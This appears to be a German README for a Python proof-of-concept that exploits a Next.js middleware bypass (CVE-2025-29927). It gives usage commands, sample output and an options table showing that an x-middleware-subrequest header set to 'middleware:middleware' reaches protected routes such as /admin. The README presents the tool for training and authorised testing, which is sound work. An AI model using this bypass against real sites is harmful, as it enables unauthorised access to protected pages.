
> 🔓 Proof-of-Concept für einen fiktiven Next.js-Middleware-Bypass (CVE-2025-29927) — erstelle Sub-Requests, um geschützte Routen zu testen.
Dies ist ein Proof-of-Concept für eine fiktive Sicherheitslücke im Next.js-Middleware-Bypass (CVE-2025-29927). Verwenden Sie es ausschließlich für Schulungszwecke und autorisierte Sicherheitsforschung.
| Funktion | Beschreibung |
|---|---|
| ✨ Farbcodierung & Verbose | Farbcodierte Ausgabe; -v für detaillierte Debug-Logs. |
| 📦 OOP-Struktur | Klassenbasiertes Design für Klarheit und Wartbarkeit. |
| 🌐 Proxy-Unterstützung | Leite Datenverkehr über HTTP(S)-Proxys mit --proxy. |
| 🍪 Sitzungsverwaltung | Beständige requests.Session für Cookies & Wiederverwendung von Verbindungen. |
| 🚦 Weiterleitungssteuerung | Keine Weiterleitungen standardmäßig; erkennt klar Erfolg vs. Fehlschlag. |
| 🛠 Benutzerdefinierte Header | Überschreibe User-Agent, x-middleware-subrequest oder füge Header hinzu. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Erfordert Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Erfolg
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Fehlschlag
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| Option | Beschreibung |
|---|
-p, --path PATH | Geschützter Routenpfad (Standard: /admin) |
-s, --scheme {http,https} | Protokoll (Standard: http) |
--header HEADER | x-middleware-subrequest-Headerwert (Standard: middleware:middleware) |
-ua, --user-agent AGENT | Benutzerdefinierter User-Agent (Standard: Mozilla/5.0) |
--proxy PROXY | HTTP(S)-Proxy-URL (z. B. http://127.0.0.1:8080) |
-v, --verbose | Debug-Ausgabe aktivieren |
-h, --help | Diese Hilfemeldung anzeigen |